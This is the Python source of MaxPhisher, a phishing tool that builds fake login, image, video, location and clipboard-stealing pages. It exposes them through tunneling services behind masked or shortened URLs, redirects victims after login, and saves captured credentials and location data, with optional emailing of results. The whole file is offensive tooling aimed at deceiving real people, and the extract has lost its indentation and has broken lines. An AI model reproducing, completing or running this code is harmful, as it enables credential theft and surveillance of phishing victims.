aaa
aaa
# ToolName : MaxPhisher
# Author : KasRoudra
# License : MIT
# Copyright : KasRoudra (2022-2024)
# GitHub : https://github.com/KasRoudra
# GitLab : https://gitlab.com/KasRoudra
# Contact : https://m.me/KasRoudra
# Description: MaxPhisher is a phishing tool in python
# Tags : Multi phishing, login phishing, image phishing, video phishing,
clipboard steal
# 1st Commit : 08/9/2022
# Language : Python
# Portable file/script
# If you copy open source code, consider giving credit
# Credits : PyPhisher, VidPhisher, CamHacker, IP-Tracker, StromBreaker, Seeker
# Env : #!/usr/bin/env python
"""
MIT License
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
# Color snippets
black="\033[0;30m"
red="\033[0;31m"
bred="\033[1;31m"
green="\033[0;32m"
bgreen="\033[1;32m"
yellow="\033[0;33m"
byellow="\033[1;33m"
blue="\033[0;34m"
bblue="\033[1;34m"
purple="\033[0;35m"
bpurple="\033[1;35m"
cyan="\033[0;36m"
bcyan="\033[1;36m"
white="\033[0;37m"
nc="\033[00m"
version="1.2.3"
# Regular Snippets
ask = f"{green}[{white}?{green}] {yellow}"
success = f"{yellow}[{white}√{yellow}] {green}"
error = f"{blue}[{white}!{blue}] {red}"
info = f"{yellow}[{white}+{yellow}] {cyan}"
info2 = f"{green}[{white}•{green}] {purple}"
lx_help = f"""
{info}Steps: {nc}
{blue}[1]{yellow} Go to {green}https://localxpose.io
{blue}[2]{yellow} Create an account
{blue}[3]{yellow} Login to your account
{blue}[4]{yellow} Visit {green}https://localxpose.io/dashboard/access{yellow} and
copy your authtoken
"""
shadow_help="""
Shadow url is the url from which website previews are copied.
When sending url through social media like facebook/telegram,
the previews are shown just below the url
"""
redir_help="""
Redirection url is the url which is used to redirect victim after successful login
"""
curl_help="""
Just a shortened url with your own masking
"""
zip_help="""
Add more templates from a zip file which will be downloaded from input url
"""
try:
test = popen("cd $HOME && pwd").read()
except:
exit()
supported_version = 3
if version_info[0] != supported_version:
print(f"{error}Only Python version {supported_version} is supported!\nYour
python version is {version_info[0]}")
exit(0)
for module in modules:
if ":" in module:
module, importer = module.split(":")
else:
importer = module
try:
eximport(importer)
except ImportError:
try:
print(f"Installing {module}")
run(f"pip3 install {module} --break-system-packages", shell=True)
except:
print(f"{module} cannot be installed! Install it manually by
{green}'pip3 install {module}'")
exit(1)
except:
exit(1)
override_default_traceback()
cprint = Console().print
repo_url = "https://gitlab.com/\x4b\x61\x73\x52\x6f\x75\x64\x72\x61/MaxPhisher"
sites_repo = "https://gitlab.com/KasRoudra/maxsites"
websites_url = f"{sites_repo}/archive/main.zip"
repo_branch = "maxfiles-main"
# CF = Cloudflared, LX = LocalXpose, LHR = LocalHostRun, #SVO = Serveo
home = getenv("HOME")
ssh_dir = f"{home}/.ssh"
sites_dir = f"{home}/.maxsites"
templates_file = f"{sites_dir}/templates.json"
tunneler_dir = f"{home}/.tunneler"
php_file = f"{tunneler_dir}/php.log"
cf_file = f"{tunneler_dir}/cf.log"
lx_file = f"{tunneler_dir}/loclx.log"
lhr_file = f"{tunneler_dir}/lhr.log"
svo_file = f"{tunneler_dir}/svo.log"
site_dir = f"{home}/.site"
cred_file = f"{site_dir}/usernames.txt"
ip_file = f"{site_dir}/ip.txt"
info_file = f"{site_dir}/info.txt"
location_file = f"{site_dir}/location.txt"
log_file = f"{site_dir}/log.txt"
main_ip = "ip.txt"
main_info = "info.txt"
main_cred = "creds.txt"
main_location = "location.txt"
cred_json = "creds.json"
info_json = "info.json"
location_json = "location.json"
email_file = "files/email.json"
error_file = "error.log"
is_mail_ok = False
redir_url = ""
email = ""
password = ""
receiver = ""
cf_command = f"{tunneler_dir}/cloudflared"
lx_command = f"{tunneler_dir}/loclx"
if isdir("/data/data/com.termux/files/home"):
termux = True
cf_command = f"termux-chroot {cf_command}"
lx_command = f"termux-chroot {lx_command}"
saved_file = "/sdcard/.creds.txt"
else:
termux = False
saved_file = f"{home}/.creds.txt"
print(f"\n{info}Please wait!{nc}")
default_port = 8080
default_tunneler = "Cloudflared"
default_fest = "Birthday"
default_ytid = "6hHmkInZkMQ"
default_duration = 5000
default_type = "2"
default_template = "1"
if termux:
default_dir = "/sdcard/Media"
else:
default_dir = f"{home}/Media"
argparser = ArgumentParser()
args = argparser.parse_args()
port = args.port
ptype = args.type
option = args.option
region = args.region
subdomain = args.subdomain
tunneler = args.tunneler
fest = args.fest
ytid = args.ytid
url = args.url
directory = args.directory
duration = args.duration
mode = args.mode
troubleshoot = args.troubleshoot
key = args.nokey if mode != "test" else False
update = args.noupdate
kshrt = args.kshrt
local_url = f"127.0.0.1:{port}"
ts_commands = {
"cloudflared": f"{cf_command} tunnel -url {local_url}",
"localxpose": f"{lx_command} tunnel http -t {local_url}",
"localhostrun": f"ssh -R 80:{local_url} localhost.run -T -n",
"serveo": f"ssh -R 80:{local_url} serveo.net -T -n",
"cf": f"{cf_command} tunnel -url {local_url}",
"loclx": f"{lx_command} tunnel http -t {local_url}",
"lhr": f"ssh -R 80:{local_url} localhost.run -T -n",
"svo": f"ssh -R 80:{local_url} serveo.net -T -n"
}
# My utility functions
def get_ver(ver):
return int(ver.replace(".", "", 2))
# Center text
def center_text(text):
lines = text.splitlines()
if len(lines) > 1:
minlen = min([len(line) for line in lines if len(line)!=0]) + 8
new_text = ""
for line in lines:
padding = columns + len(line) - minlen
if columns % 2 == 0 and padding % 2 == 0:
padding += 1
new_text += line.center(padding) + "\n"
return new_text
else:
return text.center(columns+8)
# Run task in background supressing output by setting stdout and stderr to devnull
def bgtask(command, stdout=PIPE, stderr=DEVNULL, cwd="./"):
try:
return Popen(command, shell=True, stdout=stdout, stderr=stderr, cwd=cwd)
except Exception as e:
append(e, error_file)
def get_meta(url):
# Facebook requires some additional header
headers = {
"user-agent": "Mozilla/5.0 (Linux; Android 8.1.0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/102.0.5005.99 Safari/537.36",
"accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython
to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "en-GB,en-US;q=0.9,en;q=0.8"
}
if "facebook" in url:
headers.update({
"upgrade-insecure-requests": "1",
"dnt": "1",
"content-type": "application/x-www-form-url-encoded",
"origin": "https://m.facebook.com",
"referer": "https://m.facebook.com/",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "cors",
"sec-fetch-user": "empty",
"sec-fetch-dest": "document",
"sec-ch-ua-platform": "Android",
"accept-encoding": "gzip, deflate br"
})
allmeta = ""
try:
response = get(url, headers=headers).text
soup = BeautifulSoup(response, "html.parser")
metas = soup.find_all("meta")
if metas is not None and metas!=[]:
allmeta = "\n".join([str(meta) for meta in metas])
except Exception as e:
append(e, error_file)
return allmeta
if sha256(logo.encode("utf-8")).hexdigest() !=
"101490b6a745ce1aa56c41f477b54fac5f3fddda798105e1a6090fb8eb52fdfb":
print(f"{info}Visit: {repo_url}")
bgtask(f"xdg-open {repo_url}")
delete(__file__)
exit(1)
# Website chooser
def show_options(sites, is_main=True, is_login=False):
total_sites = len(sites)
def optioner(index, max_len):
# Avoid RangeError/IndexError
if index >= total_sites:
return ""
# Add 0 before single digit number
new_index = str(index+1) if index >= 9 else "0"+str(index+1)
# To fullfill max length of a part we append empty space
space = " " * (max_len - len(sites[index]))
return f"{green}[{white}{new_index}{green}] {yellow}{sites[index]}{space}"
# Array index starts from 0
first_index = 0
# Three columns
one_third = int(total_sites/3)
# If there is modulus, that means some entries are remaining, we need an extra
row
if total_sites%3 > 0:
one_third += 1
options = "\n\n"
# First index of last line should be less than one-third of total
while first_index < one_third and total_sites > 10:
second_index = first_index + one_third
third_index = second_index + one_third
options += optioner(first_index, 23) + optioner(second_index, 17) +
optioner(third_index, 1) + "\n"
first_index += 1
if total_sites < 10:
for i in range(total_sites):
options += optioner(i, 20) + "\n"
options += "\n"
if is_main:
options += f"{green}[{white}a{green}]{yellow} About {green}
[{white}o{green}]{yellow} AddZip {green} {green}[{white}m{green}]{yellow}
More tools {green}[{white}0{green}]{yellow} Exit\n\n"
else:
if is_login and isfile(saved_file) and cat(saved_file)!="":
options += f"{green}[{white}a{green}]{yellow} About {green}
[{white}s{green}]{yellow} Saved {green}[{white}x{green}]{yellow} Main Menu
{green}[{white}0{green}]{yellow} Exit\n\n"
else:
options += f"{green}[{white}a{green}]{yellow} About
{green}[{white}x{green}]{yellow} Main Menu {green}[{white}0{green}]{yellow}
Exit\n\n"
lolcat(options)
# Clear the screen and show logo
def clear(fast=False, lol=False):
shell("clear")
if fast:
print(logo)
elif lol:
lolcat(logo)
else:
sprint(logo, 0.01)
# Install packages
def installer(package, package_name=None):
if package_name is None:
package_name = package
for pacman in ["pkg", "apt", "apt-get", "apk", "yum", "dnf", "brew", "pacman"]:
# Check if package manager is present but php isn't present
if is_installed(pacman):
if not is_installed(package):
sprint(f"\n{info}Installing {package}{nc}")
if pacman=="pacman":
shell(f"sudo {pacman} -S {package_name} --noconfirm")
elif pacman=="apk":
if is_installed("sudo"):
shell(f"sudo {pacman} add {package_name}")
else:
shell(f"{pacman} add -y {package_name}")
elif is_installed("sudo"):
shell(f"sudo {pacman} install -y {package_name}")
else:
shell(f"{pacman} install -y {package_name}")
break
if is_installed("brew"):
if not is_installed("cloudflare"):
shell("brew install cloudflare/cloudflare/cloudflared")
if not is_installed("localxpose"):
shell("brew install localxpose")
# Process killer
def killer():
# Previous instances of these should be stopped
for process in processes:
if is_running(process):
# system(f"killall {process}")
output = shell(f"pidof {process}", True).stdout.decode("utf-8").strip()
if " " in output:
for pid in output.split(" "):
kill(int(pid), SIGINT)
elif output != "":
kill(int(output), SIGINT)
else:
print()
# Internet Checker
def get_media():
extension_filter = lambda filename: filename.split('.')[-1] in extensions
media_files = []
for filename in filter(extension_filter, listdir(site_dir)):
if filename not in ["desc.png", "kk.jpg"]:
media_files.append(f"{site_dir}/{filename}")
return media_files
def write_meta(url):
while True:
if url is None or url == "":
metaurl = input(f"\n{ask}{bcyan}Enter shadow url {green}({blue}for
social media preview{green}){bcyan}[{red}press enter to skip{bcyan}] : {green}")
else:
metaurl = url
if metaurl=="":
break
elif metaurl == "help":
sprint(shadow_help)
else:
allmeta = get_meta(metaurl)
if allmeta=="":
print(f"\n{error}No preview generated from specified URL!")
write(allmeta, f"{site_dir}/meta.php")
break
def write_redirect():
global url, redir_url
while True:
if url is None or url == "":
redirect_url = input(f"\n{ask}{bcyan}Enter redirection url{bcyan}
[{red}press enter to skip{bcyan}] : {green}")
else:
redirect_url = url
if redirect_url is None or redirect_url == "":
redirect_url = redir_url
sed("redirectUrl", redirect_url, f"{site_dir}/login.php")
break
else:
sed("redirectUrl", redirect_url, f"{site_dir}/login.php")
break
if redirect_url == "help":
sprint(shadow_help)
# Polite Exit
def pexit():
killer()
sprint(f"\n{info2}Thanks for using!\n{nc}")
exit(0)
def ssh_key():
if key and not isfile(f"{ssh_dir}/id_rsa"):
is_no_pass = bgtask(f"ssh-keygen -y -P '' -f {ssh_dir}/id_rsa").wait()
if is_no_pass != 0:
pass
# delete(ssh_dir)
print(nc)
shell(f"mkdir -p {ssh_dir} && ssh-keygen -N '' -t rsa -f {ssh_dir}/id_rsa")
is_known = bgtask("ssh-keygen -F localhost.run").wait()
if is_known != 0:
shell(f"ssh-keyscan -H localhost.run >> {ssh_dir}/known_hosts", True)
is_known2 = bgtask("ssh-keygen -F serveo.net").wait()
if is_known2 != 0:
shell(f"ssh-keyscan -H serveo.net >> {ssh_dir}/known_hosts", True)
def add_zip():
while True:
zip_url = input(f"\n{ask}Enter the download url of zipfile: ")
if zip_url is None or zip_url == "":
sprint("{error}No URL specified")
break
elif zip_url=="help":
sprint(zip_help)
else:
download(zip_url, "sites.zip")
pwd = input(f"\n{ask}Enter the password of zipfile: ")
extract("sites.zip", sites_dir, pwd)
remove("sites.zip")
break
# Output urls
def url_manager(url, tunneler):
global mask
masked = mask + "@" + url.replace('https://','')
title = f"[bold cyan]{tunneler}[/]"
text = f"[blue]URL[/] [green]:[/] [yellow]{url}[/]\n[blue]MaskedURL[/] [green]:
[/] [yellow]{masked}[/]"
cprint(
Panel(
text,
title=title,
title_align="left",
border_style="green"
)
)
#print(f"\n{info2}{arg1} > {yellow}{url}")
#print(f"{info2}{arg2} > {yellow}{mask}@{url.replace('https://','')}")
sleep(0.5)
def kshrten(url):
route_map = {
".trycloudflare.com": "cf",
".loclx.io": "lx",
".lhr.life": "lhr",
".lhr.pro": "lhro",
".serveo.net": "svo",
}
for key in route_map.keys():
if key in url:
route = route_map[key]
subdomain = url.replace("https://", "").replace(key, "")
website = f"https://krshrt.onrender.com/{route}/{subdomain}"
internet()
try:
res = post(website, timeout=30).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "https://" not in shortened:
return ""
return shortened
def shortener1(url):
website = "https://is.gd/create.php?format=simple&url="+url.strip()
internet()
try:
res = get(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "https://" not in shortened:
return ""
return shortened
def shortener2(url):
website = "https://api.shrtco.de/v2/shorten?url="+url.strip()
internet()
try:
res = get(website).text
json_resp = parse(res)
except Exception as e:
append(e, error_file)
json_resp = ""
if json_resp != "":
if json_resp["ok"]:
return json_resp["result"]["full_short_link"]
return ""
def shortener3(url):
website = "https://tinyurl.com/api-create.php?url="+url.strip()
internet()
try:
res = get(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "http://" not in shortened and "https://" not in shortened:
return ""
return shortened
# Staring functions
# Update of MaxPhisher
def updater():
internet()
if not isfile("files/maxphisher.gif"):
return
try:
toml_data =
get("https://gitlab.com/KasRoudra/MaxPhisher/-/raw/main/files/pyproject.toml").text
pattern = r'version\s*=\s*"([^"]+)"'
match = search(pattern, toml_data)
if match:
gl_ver = match.group(1)
else:
gl_ver = "404: Not Found"
except Exception as e:
append(e, error_file)
gl_ver = version
if gl_ver != "404: Not Found" and get_ver(gl_ver) > get_ver(version):
# Changelog of each versions are seperated by three empty lines
changelog =
get("https://gitlab.com/KasRoudra/MaxPhisher/-/raw/main/files/changelog.log").text.
split("\n\n\n")[0]
clear(fast=True)
print(f"{info}\x4d\x61\x78\x50\x68\x69\x73\x68\x65\x72 has a new update!\
n{info2}Current: {red}{version}\n{info}Available: {green}{gl_ver}")
upask=input(f"\n{ask}Do you want to update \x4d\x61\x78\x50\x68\x69\x73\
x68\x65\x72?[y/n] > {green}")
if upask=="y":
print(nc)
shell(f"cd .. && rm -rf MaxPhisher maxphisher && git clone {repo_url}")
sprint(f"\n{success}\x4d\x61\x78\x50\x68\x69\x73\x68\x65\x72 has been
updated successfully!! Please restart terminal!")
if (changelog != "404: Not Found"):
sprint(f"\n{info2}Changelog:\n{purple}{changelog}")
exit()
elif upask=="n":
print(f"\n{info}Updating cancelled. Using old version!")
sleep(2)
else:
print(f"\n{error}Wrong input!\n")
sleep(2)
internet()
if termux:
if not is_installed("proot"):
sprint(f"\n{info}Installing proot{nc}")
shell("pkg install proot -y")
installer("php")
if is_installed("apt") and not is_installed("pkg"):
installer("ssh", "openssh-client")
else:
installer("ssh", "openssh")
for package in packages:
if not is_installed(package):
sprint(f"{error}{package} cannot be installed. Install it manually!
{nc}")
exit(1)
killer()
osinfo = uname()
platform = osinfo.system.lower()
architecture = osinfo.machine
iscloudflared = isfile(f"{tunneler_dir}/cloudflared")
isloclx = isfile(f"{tunneler_dir}/loclx")
delete("cloudflared.tgz", "cloudflared", "loclx.zip")
internet()
if "linux" in platform:
if "arm64" in architecture or "aarch64" in architecture:
if not iscloudflared:
download("https://github.com/cloudflare/cloudflared/releases/latest/download/
cloudflared-linux-arm64", f"{tunneler_dir}/cloudflared")
if not isloclx:
download("https://github.com/KasRoudra2/maxfiles/releases/download/tunnelers/loclx-
linux-arm64.zip", "loclx.zip")
elif "arm" in architecture:
if not iscloudflared:
download("https://github.com/cloudflare/cloudflared/releases/latest/download/
cloudflared-linux-arm", f"{tunneler_dir}/cloudflared")
if not isloclx:
download("https://github.com/KasRoudra2/maxfiles/releases/download/tunnelers/loclx-
linux-arm.zip", "loclx.zip")
elif "x86_64" in architecture or "amd64" in architecture:
if not iscloudflared:
download("https://github.com/cloudflare/cloudflared/releases/latest/download/
cloudflared-linux-amd64", f"{tunneler_dir}/cloudflared")
if not isloclx:
download("https://github.com/KasRoudra2/maxfiles/releases/download/tunnelers/loclx-
linux-amd64.zip", "loclx.zip")
else:
if not iscloudflared:
download("https://github.com/cloudflare/cloudflared/releases/latest/download/
cloudflared-linux-386", f"{tunneler_dir}/cloudflared")
if not isloclx:
download("https://github.com/KasRoudra2/maxfiles/releases/download/tunnelers/loclx-
linux-386.zip", "loclx.zip")
elif "darwin" in platform:
if "x86_64" in architecture or "amd64" in architecture:
if not iscloudflared:
download("https://github.com/cloudflare/cloudflared/releases/latest/download/
cloudflared-darwin-amd64.tgz", "cloudflared.tgz")
extract("cloudflared.tgz", f"{tunneler_dir}")
if not isloclx:
download("https://github.com/KasRoudra2/maxfiles/releases/download/tunnelers/loclx-
darwin-amd64.zip", "loclx.zip")
elif "arm64" in architecture or "aarch64" in architecture:
if not iscloudflared:
print(f"{error}Device architecture unknown. Download cloudflared
manually!")
if not isloclx:
download("https://github.com/KasRoudra2/maxfiles/releases/download/tunnelers/loclx-
darwin-arm64.zip", "loclx.zip")
else:
print(f"{error}Device architecture unknown. Download cloudflared/loclx
manually!")
sleep(3)
else:
print(f"{error}Device not supported!")
exit(1)
if isfile("loclx.zip"):
extract("loclx.zip", f"{tunneler_dir}")
remove("loclx.zip")
for tunneler in tunnelers:
if isfile(f"{tunneler_dir}/{tunneler}"):
shell(f"chmod +x $HOME/.tunneler/{tunneler}")
for process in processes:
if is_running(process):
print(f"\n{error}Previous {process} still running! Please restart
terminal and try again{nc}")
pexit()
if is_installed("cloudflared"):
cf_command = "cloudflared"
if is_installed("localxpose"):
lx_command = "localxpose"
if isfile("websites.zip"):
delete(sites_dir, recreate=True)
print(f"\n{info}Copying website files....")
extract("websites.zip", sites_dir)
remove("websites.zip")
if isdir("sites"):
print(f"\n{info}Copying website files....")
copy("sites", sites_dir)
if isfile(f"{sites_dir}/version.txt"):
with open(f"{sites_dir}/version.txt", "r") as sites_file:
zipver=sites_file.read().strip()
if get_ver(version) > get_ver(zipver):
# download(websites_url, "maxsites.zip")
print(f"\n{info2}Downloading website files....{nc}")
delete(sites_dir)
shell(f"git clone {sites_repo} {sites_dir}")
# shell(f"cd {sites_dir} && git pull")
else:
# download(websites_url, "maxsites.zip")
print(f"\n{info2}Downloading website files....{nc}")
shell(f"git clone {sites_repo} {sites_dir}")
# shell(f"cd {sites_dir} && git pull")
if isfile("maxsites.zip"):
extract("maxsites.zip", ".tempdir")
delete("maxsites.zip")
copy(f".tempdir/{repo_branch}", sites_dir)
delete(".tempdir")
if isfile("websites.zip"):
delete(sites_dir)
extract("websites.zip", sites_dir)
remove("websites.zip")
if mode != "test":
lx_token()
ssh_key()
email_config = cat(email_file)
if is_json(email_config):
email_json = parse(email_config)
email = email_json["email"]
password = email_json["password"]
receiver = email_json["receiver"]
# As the server is of gmail, we only allow gmail login
if "@gmail.com" in email:
is_mail_ok = True
else:
print(f"\n{error}Only gmail with app password is allowed!{nc}")
sleep(1)
# Choose a template
def secondary_menu(sites, name):
global mode, option, mask, redir_url
customdir = None
otp_folder = ""
names = [site["name"] for site in sites]
choices = [str(i) for i in range(1,len(sites)+1)]
while True:
clear(lol=True)
if len(sites) > 1:
show_options(names, is_main=False, is_login=True if name=="Login" else
False)
else:
site = sites[0]
folder = site["folder"]
if "mask" in site:
mask = site["mask"]
if "redirect" in site:
redir_url = site["redirect"]
break
if option is not None:
choice = option
elif mode == "test":
choice = default_template
else:
choice = input(f"{ask}Select one of the options > {green}")
if choice != "0" and choice.startswith("0"):
choice = choice.replace("0", "")
if choice in choices:
site = sites[int(choice)-1] # Lists start from 0 but our index starts
from 1
folder = site["folder"]
if "otp_folder" in site:
otp_folder = site["otp_folder"]
if "mask" in site:
mask = site["mask"]
if "redirect" in site:
redir_url = site["redirect"]
if folder == "custom" and mask == "custom":
customdir = customfol()
if otp_folder != "":
is_otp = input(f"\n{ask}Do you want OTP Page? [y/n] > {green}")
if is_otp == "y":
folder = otp_folder
break
elif choice.lower()=="a":
about()
elif choice.lower()=="o":
add_zip()
elif choice.lower()=="s":
saved()
elif choice.lower()=="x":
return
elif choice == "0":
pexit()
else:
sprint(f"\n{error}Wrong input {bred}\"{choice}\"")
option = None
if customdir is None:
site = f"{sites_dir}/{folder}"
if not isdir(site):
internet()
delete("site.zip")
download(f"https://github.com/KasRoudra/files/raw/main/phishingsites/
{folder}.zip", "site.zip")
extract("site.zip", site)
remove("site.zip")
copy(site, site_dir)
if name == "Login":
set_login()
if name == "Image":
set_image()
if name == "ClipBoard":
set_redirect(redir_url, write=True)
if name in [ "Video", "Audio"]:
set_duration()
if name in ["Location", "IP Tracker", "Device"]:
set_redirect(redir_url)
server()
def main():
try:
main_menu()
except KeyboardInterrupt:
pexit()
except Exception as e:
exception_handler(e)
if __name__ == '__main__':
main()
# If this code helped you, consider staring repository. Your stars encourage me a
lot!